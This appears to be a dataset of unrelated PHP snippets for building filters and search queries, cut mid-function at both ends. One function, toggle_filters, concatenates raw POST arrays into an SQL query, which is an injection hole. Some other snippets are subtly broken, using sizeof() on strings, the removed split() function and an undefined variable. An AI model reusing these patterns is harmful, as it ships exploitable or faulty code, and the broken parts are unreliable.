DATAARRAY]\r\n $combineAccounts = explode(\"#\", $account);\r\n \r\n foreach ($combineAccounts as $accountKey => $singleAccount) {\r\n $tempId = key_exists('ID', $this->settingVars->dataArray[$singleAccount]) ? $this->settingVars->dataArray[$singleAccount]['ID'] : \"\";\r\n if ($tempId != \"\") {\r\n $selectPart[$this->settingVars->dataArray[$singleAccount]['TYPE']][] = $tempId . \" AS \" . $this->settingVars->dataArray[$singleAccount]['ID_ALIASE'];\r\n $groupByPart[$this->settingVars->dataArray[$singleAccount]['TYPE']][] = $this->settingVars->dataArray[$singleAccount]['ID_ALIASE'];\r\n\r\n /*[START] GETTING DATA FOR THE PRODUCT AND MARKET INLINE SELECTION FILTER*/\r\n $filterDataProductInlineConfig[] = $tempId . \" AS \" . $this->settingVars->dataArray[$singleAccount]['ID_ALIASE_WITH_TABLE'];\r\n $dataProductInlineFields[] = $tempId;\r\n /*[END] GETTING DATA FOR THE PRODUCT AND MARKET INLINE SELECTION FILTER*/\r\n }\r\n \r\n $tempName = $this->settingVars->dataArray[$singleAccount]['NAME'];\r\n $selectPart[$this->settingVars->dataArray[$singleAccount]['TYPE']][] = $tempName . \" AS \" . $this->settingVars->dataArray[$singleAccount]['NAME_ALIASE'];\r\n $groupByPart[$this->settingVars->dataArray[$singleAccount]['TYPE']][] = $this->settingVars->dataArray[$singleAccount]['NAME_ALIASE'];\r\n\r\n /*[START] GETTING DATA FOR THE PRODUCT AND MARKET INLINE SELECTION FILTER*/\r\n $filterDataProductInlineConfig[] = $tempName . \" AS \" . $this->settingVars->dataArray[$singleAccount]['NAME_ALIASE'];\r\n $dataProductInlineFields[] = $tempName;\r\n /*[END] GETTING DATA FOR THE PRODUCT AND MARKET INLINE SELECTION FILTER*/\r\n }\r\n \r\n $helperTables[$this->settingVars->dataArray[$combineAccounts[0]]['TYPE']] = $this->settingVars->dataArray[$combineAccounts[0]]['tablename'];\r\n $helperLinks[$this->settingVars->dataArray[$combineAccounts[0]]['TYPE']] = $this->settingVars->dataArray[$combineAccounts[0]]['link'];\r\n \r\n //datahelper\\Product_And_Market_Filter_DataCollector::collect_Filter_Data($selectPart, $groupByPart, $tagName, $helperTableName, $helperLink, $this->jsonOutput, $includeIdInLabel, $account);\r\n }\r\n }\r\n\r\n if(isset($this->queryVars->projectConfiguration) && isset($this->queryVars->projectConfiguration['has_product_market_filter_disp_type']) && $this->queryVars->projectConfiguration['has_product_market_filter_disp_type']==1 && count($filterDataProductInlineConfig) >0){\r\n $this->settingVars->filterDataProductInlineConfig = $filterDataProductInlineConfig;\r\n $this->settingVars->dataProductInlineFields = $dataProductInlineFields;\r\n }\r\n \r\n if(is_array($selectPart) && !empty($selectPart)){\r\n foreach ($selectPart as $type => $sPart) {\r\n $resultData[$type] = datahelper\\Product_And_Market_Filter_DataCollector::collect_Filter_Query_Data($sPart, $groupByPart[$type], $helperTables[$type], $helperLinks[$type]);\r\n }\r\n $redisCache = new utils\\RedisCache($this->queryVars);\r\n $redisCache->requestHash = 'productAndMarketFilterData';\r\n $redisCache->setDataForStaticHash($selectPart);\r\n }\r\n\r\n foreach ($dataHelpers as $key => $account) {\r\n if($account != \"\")\r\n {\r\n $combineAccounts = explode(\"#\", $account);\r\n\r\n $tagNameAccountName = $this->settingVars->dataArray[$combineAccounts[0]]['NAME'];\r\n\r\n //IF 'NAME' FIELD CONTAINS SOME SYMBOLS THAT CAN'T PASS AS A VALID XML TAG , WE USE 'NAME_ALIASE' INSTEAD AS XML TAG\r\n //AND FOR THAT PARTICULAR REASON, WE ALWAYS SET 'NAME_ALIASE' SO THAT IT IS A VALID XML TAG\r\n $tagName = preg_match('/(,|\\)|\\()|\\./', $tagNameAccountName) == 1 ? $this->settingVars->dataArray[$combineAccounts[0]]['NAME_ALIASE'] : strtoupper($tagNameAccountName);\r\n\r\n if (isset($this->settingVars->dataArray[$combineAccounts[0]]['use_alias_as_tag']))\r\n {\r\n $tagName = ($this->settingVars->dataArray[$combineAccounts[0]]['use_alias_as_tag']) ? strtoupper($this->settingVars->dataArray[$combineAccounts[0]]['NAME_ALIASE']) : $tagName;\r\n \r\n if(isset($this->settingVars->dataArray[$combineAccounts[0]]['ID_ALIASE']) && !empty($this->settingVars->dataArray[$combineAccounts[0]]['ID_ALIASE']))\r\n $tagName .= \"_\". $this->settingVars->dataArray[$combineAccounts[0]]['ID_ALIASE'];\r\n }\r\n\r\n $includeIdInLabel = false;\r\n if (isset($this->settingVars->dataArray[$combineAccounts[0]]['include_id_in_label']))\r\n $includeIdInLabel = ($this->settingVars->dataArray[$combineAccounts[0]]['include_id_in_label']) ? true : false;\r\n\r\n $tempId = key_exists('ID', $this->settingVars->dataArray[$combineAccounts[0]]) ? $this->settingVars->dataArray[$combineAccounts[0]]['ID'] : \"\";\r\n \r\n $nameAliase = $this->settingVars->dataArray[$combineAccounts[0]]['NAME_ALIASE'];\r\n $idAliase = isset($this->settingVars->dataArray[$combineAccounts[0]]['ID_ALIASE']) ? $this->settingVars->dataArray[$combineAccounts[0]]['ID_ALIASE'] : \"\";\r\n\r\n $type = $this->settingVars->dataArray[$combineAccounts[0]]['TYPE'];\r\n\r\n if( !isset($this->jsonOutput['filters']) || !array_key_exists($tagName, $this->jsonOutput['filters']) )\r\n datahelper\\Product_And_Market_Filter_DataCollector::getFilterData( $nameAliase, $idAliase, $tempId, $resultData[$type], $tagName , $this->jsonOutput, $includeIdInLabel, $account);\r\n }\r\n }\r\n\r\n // NOTE: THIS IS FOR FETCHING PRODUCT AND MARKET WHEN USER CLICKS TAB. \r\n // TO FETCH TAB DATA SERVER BASED. TO AVOID BROWSER HANG. \r\n // WE FACE ISSUE IN MJN AS MANY FILTERS ENABLED FOR ITS PROJECTS\r\n if ($this->settingVars->fetchProductAndMarketFilterOnTabClick) {\r\n $redisCache = new utils\\RedisCache($this->queryVars);\r\n $redisCache->requestHash = 'productAndMarketFilterTabData';\r\n $redisCache->setDataForStaticHash($this->jsonOutput['filters']);\r\n }\r\n }\r\n }", "function xh_listFilters()\r\n\t{\r\n\t}", "abstract public function filters();", "function xh_fetchFilter($filter_name)\r\n\t{\r\n\t}", "public function getEx3 (){\n $incidents= \\DB::select(\"SELECT * FROM incidents WHERE neighborhood LIKE '%North%'\");\n\n // Output the results\n foreach($incidents as $incident) {\n echo $incident->type.'<br>';\n }\n\n }", "public function formatFilters($rawFilters){\n $filters = array();\n \n //LIBRARIAN NAME\n if(array_key_exists('librarian', $rawFilters)){ \n if($rawFilters['librarian'] != ''){\n $filters['librarian'] = $this->__getStaffById($rawFilters['librarian']);\n }\n } \n \n //PROGRAM NAME\n if(array_key_exists('program', $rawFilters)){ \n if($rawFilters['program'] != ''){\n $filters['program'] = $this->__getProgramById($rawFilters['program']);\n }\n } \n \n //INSTRUCTION TYPE\n if(array_key_exists('instructionType', $rawFilters)){ \n $instructionType = $this->formatInstructionType($rawFilters['instructionType']);\n $filters['instructionType'] = $instructionType;\n } \n \n //FILTER CRITERIA (academic, fiscal, calendar, semester, custom)\n if(array_key_exists('filterCriteria', $rawFilters)){ \n $instructionType = $this->formatInstructionType($rawFilters['instructionType']);\n $filters['instructionType'] = $instructionType;\n \n switch($rawFilters['filterCriteria']){\n case 'academic':\n array_key_exists('academicYear', $rawFilters) ? $year = $rawFilters['academicYear'] . '-' . ($rawFilters['academicYear'] + 1) : $year = '';\n $criteriaYear = \"Academic Year \" . $year;\n break;\n case 'calendar':\n array_key_exists('calendarYear', $rawFilters) ? $year = $rawFilters['calendarYear'] : $year = '';\n $criteriaYear = \"Calendar Year \" . $year;\n break;\n case 'fiscal':\n array_key_exists('fiscalYear', $rawFilters) ? $year = $rawFilters['fiscalYear'] . '-' . ($rawFilters['fiscalYear'] + 1) : $year = '';\n $criteriaYear = \"Fiscal Year \" . $year;\n break;\n case 'semester':\n array_key_exists('year', $rawFilters) ? $year = $rawFilters['year'] : $year = '';\n $criteriaYear = ucfirst($rawFilters['semester']) . ' ' . $year;\n break;\n case 'custom':\n array_key_exists('startDate', $rawFilters) ? $startDate = $rawFilters['startDate'] : $startDate = '';\n array_key_exists('endDate', $rawFilters) ? $endDate = $rawFilters['endDate'] : $endDate = '';\n $criteriaYear = 'Date Range: ' . $startDate . ' to ' . $endDate;\n break;\n }\n \n $filters['year'] = $criteriaYear;\n } \n \n //LEVEL \n if(array_key_exists('level', $rawFilters)){ \n $filters['level'] = ucfirst($rawFilters['level']);\n } \n \n //LAST n MONTHS\n if(array_key_exists('lastmonths', $rawFilters)){ \n $filters['lastmonths'] = 'Last '.$rawFilters['lastmonths'].' months';\n } \n \n return $filters;\n }", "abstract protected function getFilters();", "function filter_create($ca,$place,$region,$date,$min_date,$max_date,$fieldactivity,$datatablesearch,$taxon_name){\n\t\t$condition_array=$ca;\n\t\t//take place parameter for a place filter\n\t\tif(isset($place) && $place!=\"\" && $place!=\"null\"){\n\t\t\t$like=\"LIKE\";\n\t\t\t//verify if its a like research or not\t\t\n\t\t\tif(strlen($place)>0 && $place[sizeof($place)-1]==\"\\\"\" && $place[strlen($place)-1]==\"\\\"\"){\n\t\t\t\t$like=\"\";\n\t\t\t}\t\n\t\t\telse\n\t\t\t\t$place=\"%\".$place.\"%\";\n\t\t\t$condition_array+=array(\"Place $like\"=>$place);\n\t\t}\n\t\t\n\t\t//take region parameter for a region filter\n\t\tif(isset($region) && $region!=\"\" && $region!=\"null\"){\n\t\t\t$like=\"LIKE\";\n\t\t\t//verify if its a like research or not\t\t\n\t\t\tif(strlen($region)>0 && $region[sizeof($region)-1]==\"\\\"\" && $region[strlen($region)-1]==\"\\\"\"){\n\t\t\t\t$like=\"\";\n\t\t\t}\t\n\t\t\telse\n\t\t\t\t$region=\"%\".$region.\"%\";\n\t\t\t$condition_array+=array(\"Region $like\"=>$region);\t\n\t\t}\t\n\t\t\n\t\t//take taxonsearch parameter for a taxon filter\n\t\tif(isset($taxon_name) && $taxon_name!=\"\"){\n\t\t\t$condition_array+=array(\"Name_Taxon LIKE\"=>\"%\".$taxon_name.\"%\");\n\t\t}\n\t\t\n\t\t//fieldactivity filter \n\t\tif(isset($fieldactivity) && $fieldactivity!=\"\" && $fieldactivity!=\"null\"){\n\t\t\t$like=\"LIKE\";\n\t\t\t$fieldactivity=\"%\".$fieldactivity.\"%\";\n\t\t\t$condition_array+=array(\"FieldActivity_Name $like\"=>$fieldactivity);\n\t\t}\n\t\t\n\t\t//date filter\n\t\tif(isset($date) && $date!=\"\"){\n\t\t\tdate_default_timezone_set('UTC');\n\t\t\t$idate=$date;\n\t\t\tif($idate==\"hier\"){\n\t\t\t\t$yesterday = date(\"Y-m-d\",mktime(0,0,0,date(\"m\"),date(\"d\")-1,date(\"Y\")));\n\t\t\t\t$condition_array+=array(\"CONVERT(VARCHAR, DATE, 120) LIKE\"=>\"%\".$yesterday.\"%\");\n\t\t\t}\n\t\t\telse if($idate==\"2ans\"){\n\t\t\t\t$twoyear = date(\"Y-m-d\",mktime(0,0,0,date(\"m\"),date(\"d\"),date(\"Y\")-2));\n\t\t\t\t$condition_array+=array(\"CONVERT(VARCHAR, DATE, 120) >=\"=>$twoyear);\n\t\t\t}\n\t\t\telse if($idate==\"1ans\"){\n\t\t\t\t$twoyear = date(\"Y-m-d\",mktime(0,0,0,date(\"m\"),date(\"d\"),date(\"Y\")-1));\n\t\t\t\t$condition_array+=array(\"CONVERT(VARCHAR, DATE, 120) >=\"=>$twoyear);\n\t\t\t}\n\t\t\telse if(stripos($idate,\";\")!==false){\n\t\t\t\t$idatearray=split(\";\",$idate);\n\t\t\t\t$datedep=$idatearray[0];\n\t\t\t\t$datearr=$idatearray[1];\n\t\t\t\t//complete the date if it's not complete\n\t\t\t\tif(substr_count($datedep, '-')==0){\n\t\t\t\t\t$datedep.=\"-01-01\";\n\t\t\t\t\t$datearr.=\"-12-31\";\n\t\t\t\t}\n\t\t\t\telse if(substr_count($datedep, '-')==1){\n\t\t\t\t\t$datedep.=\"-01\";\n\t\t\t\t\t$datearr.=\"-31\";\n\t\t\t\t}\n\t\t\t\t$condition_array+=array(\"CONVERT(VARCHAR, DATE, 120) >=\"=>$datedep,\"CONVERT(VARCHAR, DATE, 120) <=\"=>$datearr);\n\t\t\t}\n\t\t}\n\t\t\n\t\t//take min-date parameter for a min-date filter (from ecoreleve-explorer)\n\t\tif(isset($min_date) && $min_date!=\"\" && $min_date!=\"null\"){\n\t\t\t$datedep=$min_date;\n\t\t\t$condition_array+=array(\"CONVERT(VARCHAR, $date_name, 120) >=\"=>$datedep);\n\t\t\t\n\t\t\t//take max-date parameter for a max-date filter when min date is set because when we have no date only min-date is empty\n\t\t\tif(isset($max_date) && $max_date!=\"\" && $max_date!=\"null\"){\n\t\t\t\t$datearr=$max_date;\n\t\t\t\t$condition_array+=array(\"CONVERT(VARCHAR, $date_name, 120) <=\"=>$datearr);\n\t\t\t}\n\t\t}\t\n\t\t\n\t\t//create the condition array from a search of datatable js default input search\n\t\tif(isset($datatablesearch) && $datatablesearch!=\"\"){\n\t\t\t$search=$datatablesearch;\n\t\t\t$like=\"LIKE\";\n\t\t\t$left_p=\"%\";\n\t\t\t$right_p=\"%\";\n\t\t\t$column_search=\"\";\t\t\t\t\n\t\t\t//if we choose to search only in column and also see if it's not a date because of \":\"\n\t\t\tif(stripos($search,\":\")!==false && !preg_match('/(\\d+)-(\\d+)-(\\d+) ((\\d+):){1,2}(\\d+)/', $search) && !preg_match('/((\\d+):){1,2}(\\d+)/', $search)){\n\t\t\t\t$arraysearch=split(\":\",$search,2);\n\t\t\t\t$column_search=$arraysearch[0];\n\t\t\t\t$search=$arraysearch[1];\n\t\t\t}\t\t\t\t\t\n\t\t\t//verify if its a like research or not\t\t\n\t\t\tif(strlen($search)>0 && $search[sizeof($search)-1]==\"\\\"\" && $search[strlen($search)-1]==\"\\\"\"){\n\t\t\t\t$like=\"\";\n\t\t\t\t$left_p=\"\";\n\t\t\t\t$right_p=\"\";\n\t\t\t\t$search=substr($search,1,-1);\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$search=\"%\".$search.\"%\";\n\t\t\t}\n\t\t\t$pk_search=$search;\n\t\t\t$pk_condition_arr=array();\n\t\t\t//for primary key check if is a an integer\n\t\t\tif(intval($search)!=0 && !strpos($search,\":\") && !strpos($search,\"-\")){\n\t\t\t\t$pk_condition_arr=[\"TSta_PK_ID $like\" => $pk_search];\n\t\t\t}\n\t\t\t\n\t\t\t$fa_search=$search;\n\t\t\t$n_search=$search;\n\t\t\t$d_search=$search;\t\t\t\t\n\t\t\t//if column search fill the variables\n\t\t\tif(in_array($Stationjoinstringnamedot.$column_search,$column_array)){\n\t\t\t\tswitch($column_search){\n\t\t\t\t\tcase \"TSta_PK_ID\":$fa_search=\"\";$n_search=\"\";$d_search=\"\";$condition_array+=array(\"TSta_PK_ID $like\" => $pk_search);break;\n\t\t\t\t\tcase \"FieldActivity_Name\":$pk_search=\"\";$n_search=\"\";$d_search=\"\";$condition_array+=array(\"FieldActivity_Name $like\" => $fa_search);break; \n\t\t\t\t\tcase \"Name\":$fa_search=\"\";$pk_search=\"\";$d_search=\"\";$condition_array+=array(\"Name $like\" => $n_search);break; \n\t\t\t\t\tcase \"DATE\":$fa_search=\"\";$n_search=\"\";$pk_search=\"\";$condition_array+=array(\"CONVERT(VARCHAR, DATE, 120) $like\" => $d_search);break; \t\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$condition_array+= array('or'=>array(\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"FieldActivity_Name $like\" => $fa_search,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"Name $like\" => $n_search,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"CONVERT(VARCHAR, DATE, 120) $like\" => $d_search\n\t\t\t\t\t\t\t\t\t\t\t\t\t)+$pk_condition_arr\n\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\t\n\t\treturn $condition_array;\t\n\t}", "public function initializeExperienceFilters($arrProduct) {\n //query to read cuisines\n $queryCuisine = DB::table('product_attributes_select_options as paso')\n ->join('product_attributes as pa','pa.id','=','paso.product_attribute_id')\n ->join('product_attributes_multiselect as pam','pam.product_attributes_select_option_id','=','paso.id')\n ->where('pa.alias','cuisines')\n ->whereIn('pam.product_id',$arrProduct)\n ->select('paso.id','paso.option','pam.product_id')\n ->get();\n \n #setting up the cuisines filter information\n $arrCuisineProduct = array();\n if($queryCuisine) {\n foreach ($queryCuisine as $row) {\n if( ! in_array($row->id, $arrCuisineProduct)) {\n $arrCuisineProduct[] = $row->id; \n $this->filters['cuisines'][] = array(\n \"id\" => $row->id,\n \"name\" => $row->option,\n \"count\" => 1\n );\n }\n else {\n foreach($this->filters['cuisines'] as $key => $value) {\n if($value['id'] == $row->id) {\n $this->filters['cuisines'][$key]['count']++;\n }\n }\n }\n }\n }\n\n //query to initialize the tags\n $queryTag = DB::table('tags')\n ->join('product_tag_map as ptm','ptm.tag_id','=','tags.id')\n ->whereIn('ptm.product_id', $arrProduct)\n ->select('tags.name', 'tags.id')\n ->get();\n \n #setting up the cuisines filter information\n $arrTagProduct = array();\n if($queryTag) {\n foreach ($queryTag as $row) {\n if( ! in_array($row->id, $arrTagProduct)) {\n $arrTagProduct[] = $row->id; \n $this->filters['tags'][] = array(\n \"id\" => $row->id,\n \"name\" => $row->name,\n \"count\" => 1\n );\n }\n else {\n foreach($this->filters['tags'] as $key => $value) {\n if($value['id'] == $row->id) {\n $this->filters['tags'][$key]['count']++;\n }\n }\n }\n }\n }\n \n #setting the value of min and max price\n $this->filters['price_range'] = array(\n \"name\" => 'Price Range',\n \"type\" => 'single',\n \"options\" => array(\n \"min\" => $this->minPrice,\n \"max\" => $this->maxPrice,\n )\n );\n }", "function simplenews_build_issue_filter_query(EntityFieldQuery $query) {\n if (isset($_SESSION['simplenews_issue_filter'])) {\n foreach ($_SESSION['simplenews_issue_filter'] as $key => $value) {\n switch ($key) {\n case 'list':\n case 'newsletter':\n if ($value != 'all') {\n list($key, $value) = explode('-', $value, 2);\n $query->fieldCondition(variable_get('simplenews_newsletter_field', 'simplenews_newsletter'), 'target_id', $value);\n }\n break;\n }\n }\n }\n}", "function filter(){\r\n\t$images = new ImageCollection();\r\n\t\r\n\tif( isset($_GET['city']) || isset($_GET['country']) ) {\r\n\t\t$city = 0;\t\t\r\n\t\tif( isset($_GET['city']) && !empty($_GET['city']) ) {\r\n\t\t\t$city = $_GET['city'];\r\n\t\t}\r\n\t\t$country = \"ZZZ\";\r\n\t\tif( isset($_GET['country']) && !empty($_GET['country']) ) {\r\n\t\t\t$country = $_GET['country'];\r\n\t\t}\r\n\t\t\r\n\t\t$images->loadCollection();\r\n\t\t\t\t\r\n\t\tif($city > 0 && $country == \"ZZZ\") { //if city set\r\n\t\t\t$images->loadCollectionByCity($city);\r\n\t\t}\r\n\t\telseif($city == 0 && $country != \"ZZZ\") { //if country set\r\n\t\t\t$images->loadCollectionByCountry($country);\r\n\t\t}\r\n\t\telseif($city > 0 && $country != \"ZZZ\") { //if country and city set\r\n\t\t\t$images->loadCollectionByCityAndCountry($city, $country);\r\n\t\t}\r\n\t\t\r\n\t\toutputImages($images);\r\n\t}\r\n\telseif( isset($_GET['search']) ) {\r\n\t\t$search = $_GET['search'];\r\n\t\t$images->loadCollectionBySearch($search);\r\n\t\t\t\t\r\n\t\toutputImages($images);\r\n\t}\r\n\telse {\r\n\t\t$images->loadCollection();\r\n\t\t\r\n\t\toutputImages($images);\r\n\t}\r\n}", "function culturefeed_search_ui_default_filter_options($filter_form_number) {\n\n $defaults = array(\n 1 => array(\n array(\n 'exposed' => TRUE,\n 'title' => 'Free only',\n 'query-string' => 'free-only',\n 'api-filter-query' => 'price:0'\n ),\n array(\n 'exposed' => TRUE,\n 'title' => 'No courses and workshops',\n 'query-string' => 'no-courses-workshops',\n 'api-filter-query' => '!category_id:0.3.1.0.0'\n ),\n array(\n 'exposed' => TRUE,\n 'title' => 'For toddlers',\n 'query-string' => 'voor-kinderen',\n 'api-filter-query' => '(agefrom:[* TO 12] OR keywords:\"ook voor kinderen\")'\n ),\n array(\n 'exposed' => TRUE,\n 'title' => 'For UiTPAS and Paspartoe',\n 'query-string' => 'uitpas',\n 'api-filter-query' => '(keywords:uitpas* OR Paspartoe)'\n ),\n ),\n 2 => array(\n array(\n 'exposed' => TRUE,\n 'title' => 'Hide long-running events',\n 'query-string' => 'no-periods',\n 'api-filter-query' => 'periods:false'\n ),\n array(\n 'exposed' => TRUE,\n 'title' => 'Hide permanent events',\n 'query-string' => 'no-permanent',\n 'api-filter-query' => 'permanent:false'\n ),\n ),\n 3 => array(\n array(\n 'exposed' => TRUE,\n 'title' => 'Free only',\n 'query-string' => 'free-only',\n 'api-filter-query' => 'price:0'\n ),\n array(\n 'exposed' => TRUE,\n 'title' => 'No courses and workshops',\n 'query-string' => 'no-courses-workshops',\n 'api-filter-query' => '!category_id:0.3.1.0.0'\n ),\n array(\n 'exposed' => TRUE,\n 'title' => 'For toddlers',\n 'query-string' => 'voor-kinderen',\n 'api-filter-query' => '(agefrom:[* TO 12] OR keywords:\"ook voor kinderen\")'\n ),\n array(\n 'exposed' => TRUE,\n 'title' => 'For UiTPAS and Paspartoe',\n 'query-string' => 'uitpas',\n 'api-filter-query' => '(keywords:uitpas* OR Paspartoe)'\n ),\n ),\n );\n\n return isset($defaults[$filter_form_number]) ? $defaults[$filter_form_number] : array();\n\n}", "function toggle_filters($company_list)\n {\n $type_array = $this->input->post('company_type');\n $pace_array = $this->input->post('company_pace');\n $lifecycle_array = $this->input->post('lifecycle');\n $corp_citizenship = $this->input->post('corp_citizenship');\n\n //put the values from those arrays into strings so they can be added to the query\n $imploded_type = implode(\" OR \", $type_array);\n $imploded_pace = implode(\" OR \", $pace_array);\n $imploded_lifecycle = implode(\" OR \", $lifecycle_array);\n\n $sql = 'SELECT id,company_name FROM company where (type_id = '.$imploded_type.')\n AND (pace_id = '.$imploded_pace.')\n AND (lifecycle_id = '.$imploded_lifecycle.')\n AND id IN ('.$company_list.') ';\n //run the query\n $query = $this->db->query($sql);\n //return $query->result(); \n if ($query->num_rows() > 0)\n {\n //build array of company ids that came from the last query...so we can use them in the upcoming query\n foreach ($query->result_array() as $row) {\n //$companyid_array[]=$row;\n $companyid_array[]=$row['id'];\n }\n $queried_comp_ids = implode(',', $companyid_array);\n /*echo \"queried comp ids: <br>\";\n print_r($queried_comp_ids);*/\n \n return $queried_comp_ids;\n \n }\n else //no companies were found\n {\n return FALSE;\n }\n }", "public function filter()\n\t{\n\t\tif (isset($_GET['cty']) AND (int) $_GET['cty'])\n\t\t{\n\t\t\t$db = new Database();\n\n\t\t\t$county_id = (int) $_GET['cty'];\n\t\t\t$sql = \"SELECT AsText(geometry) as geometry\n\t\t\t\t\tFROM \".Kohana::config('database.default.table_prefix').\"county \n\t\t\t\t\tWHERE id = ?\";\n\t\t\t$query = $db->query($sql, $county_id);\n\t\t\t$geometry = FALSE;\n\t\t\tforeach ( $query as $item )\n\t\t\t{\n\t\t\t\t$geometry = $item->geometry;\n\t\t\t}\n\n\t\t\tif ($geometry)\n\t\t\t{\n\t\t\t\t$filter = \" MBRContains(GeomFromText('\".$geometry.\"'), GeomFromText(CONCAT_WS(' ','Point(',l.longitude, l.latitude,')')))\";\n\n\t\t\t\t// Finally add to filters params\n\t\t\t\tarray_push(Event::$data, $filter);\n\t\t\t}\n\t\t}\n\n\t\tif (isset($_GET['cst']) AND (int) $_GET['cst'])\n\t\t{\n\t\t\t$db = new Database();\n\n\t\t\t$constituency_id = (int) $_GET['cst'];\n\t\t\t$sql = \"SELECT AsText(geometry) as geometry\n\t\t\t\t\tFROM \".Kohana::config('database.default.table_prefix').\"constituency \n\t\t\t\t\tWHERE id = ?\";\n\t\t\t$query = $db->query($sql, $constituency_id);\n\t\t\t$geometry = FALSE;\n\t\t\tforeach ( $query as $item )\n\t\t\t{\n\t\t\t\t$geometry = $item->geometry;\n\t\t\t}\n\n\t\t\tif ($geometry)\n\t\t\t{\n\t\t\t\t$filter = \" MBRContains(GeomFromText('\".$geometry.\"'), GeomFromText(CONCAT_WS(' ','Point(',l.longitude, l.latitude,')')))\";\n\n\t\t\t\t// Finally add to filters params\n\t\t\t\tarray_push(Event::$data, $filter);\n\t\t\t}\n\t\t}\n\t}", "public function get_inventory_by_keyword($keyword, $filters)\n\t{\n\t\t$this->db->select(\n\t\t\t$this->datas_table.\".id, \".\n\t\t\t$this->datas_table.\".code, \".\n\t\t\t$this->datas_table.\".brand, \".\n\t\t\t$this->datas_table.\".model, \".\n\t\t\t$this->datas_table.\".serial_number, \".\n\t\t\t$this->datas_table.\".status, \".\n\t\t\t$this->status_table.\".name AS status_name, \".\n\t\t\t$this->datas_table.\".color, \".\n\t\t\t$this->datas_table.\".length, \".\n\t\t\t$this->datas_table.\".width, \".\n\t\t\t$this->datas_table.\".height, \".\n\t\t\t$this->datas_table.\".weight, \".\n\t\t\t$this->datas_table.\".price, \".\n\t\t\t$this->datas_table.\".date_of_purchase, \".\n\t\t\t$this->datas_table.\".photo, \".\n\t\t\t$this->datas_table.\".thumbnail, \".\n\t\t\t$this->datas_table.\".description, \".\n\t\t\t$this->datas_table.\".deleted, \".\n\t\t\t$this->datas_table.\".category_id, \".\n\t\t\t$this->categories_table.\".name AS category_name, \".\n\t\t\t$this->datas_table.\".location_id, \".\n\t\t\t$this->locations_table.\".name AS location_name, \".\n\t\t\t$this->users_table.\".username, \".\n\t\t\t$this->users_table.\".first_name, \".\n\t\t\t$this->users_table.\".last_name\"\n\t\t);\n\t\t$this->db->from($this->datas_table);\n\n\t\t// join categories table\n\t\t$this->db->join(\n\t\t\t$this->categories_table,\n\t\t\t$this->datas_table.'.category_id = '.$this->categories_table.'.id',\n\t\t\t'left');\n\n\t\t// join locations table\n\t\t$this->db->join(\n\t\t\t$this->locations_table,\n\t\t\t$this->datas_table.'.location_id = '.$this->locations_table.'.id',\n\t\t\t'left');\n\n\t\t// join status table\n\t\t$this->db->join(\n\t\t\t$this->status_table,\n\t\t\t$this->datas_table.'.status = '.$this->status_table.'.id',\n\t\t\t'left');\n\n\t\t// join user table\n\t\t$this->db->join(\n\t\t\t$this->users_table,\n\t\t\t$this->datas_table.'.created_by = '.$this->users_table.'.username',\n\t\t\t'left');\n\n\t\t$this->db->where($this->datas_table.'.deleted', '0');\n\n\t\t// Keyword\n\t\t$this->db->like($this->datas_table.'.code', $keyword);\n\t\t$this->db->or_like('brand', $keyword);\n\t\t$this->db->or_like('model', $keyword);\n\t\t$this->db->or_like('serial_number', $keyword);\n\n\t\t// Filters\n\t\tforeach ($filters as $key => $value) {\n\t\t\tif ($value!=\"\") {\n\t\t\t\t$this->db->where_in($key, $value);\n\t\t\t}\n\t\t}\n\n\t\t$this->db->order_by($this->datas_table.'.id', 'desc');\n\t\t$datas = $this->db->get();\n\t\treturn $datas;\n\t}", "function _prepare_filter_data () {\n\t\t// Filter session array name\n\t\t$this->_filter_name\t= $_GET[\"object\"].\"_filter\";\n\t\t// Connect common used arrays\n\t\tif (file_exists(INCLUDE_PATH.\"common_code.php\")) {\n\t\t\tinclude (INCLUDE_PATH.\"common_code.php\");\n\t\t}\n\t\t// Fields in the filter\n\t\t$this->_fields_in_filter = array(\n\t\t\t\"engine\",\n\t\t\t\"text\",\n\t\t);\n\t}", "public function getFilter(): string;", "function GetFilterList() {\n\t\tglobal $UserProfile;\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sSavedFilterList = \"\";\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id->AdvancedSearch->ToJson(), \",\"); // Field id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->fecha_tamizaje->AdvancedSearch->ToJson(), \",\"); // Field fecha_tamizaje\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_centro->AdvancedSearch->ToJson(), \",\"); // Field id_centro\n\t\t$sFilterList = ew_Concat($sFilterList, $this->apellidopaterno->AdvancedSearch->ToJson(), \",\"); // Field apellidopaterno\n\t\t$sFilterList = ew_Concat($sFilterList, $this->apellidomaterno->AdvancedSearch->ToJson(), \",\"); // Field apellidomaterno\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nombre->AdvancedSearch->ToJson(), \",\"); // Field nombre\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ci->AdvancedSearch->ToJson(), \",\"); // Field ci\n\t\t$sFilterList = ew_Concat($sFilterList, $this->fecha_nacimiento->AdvancedSearch->ToJson(), \",\"); // Field fecha_nacimiento\n\t\t$sFilterList = ew_Concat($sFilterList, $this->dias->AdvancedSearch->ToJson(), \",\"); // Field dias\n\t\t$sFilterList = ew_Concat($sFilterList, $this->semanas->AdvancedSearch->ToJson(), \",\"); // Field semanas\n\t\t$sFilterList = ew_Concat($sFilterList, $this->meses->AdvancedSearch->ToJson(), \",\"); // Field meses\n\t\t$sFilterList = ew_Concat($sFilterList, $this->sexo->AdvancedSearch->ToJson(), \",\"); // Field sexo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->discapacidad->AdvancedSearch->ToJson(), \",\"); // Field discapacidad\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_tipodiscapacidad->AdvancedSearch->ToJson(), \",\"); // Field id_tipodiscapacidad\n\t\t$sFilterList = ew_Concat($sFilterList, $this->resultado->AdvancedSearch->ToJson(), \",\"); // Field resultado\n\t\t$sFilterList = ew_Concat($sFilterList, $this->resultadotamizaje->AdvancedSearch->ToJson(), \",\"); // Field resultadotamizaje\n\t\t$sFilterList = ew_Concat($sFilterList, 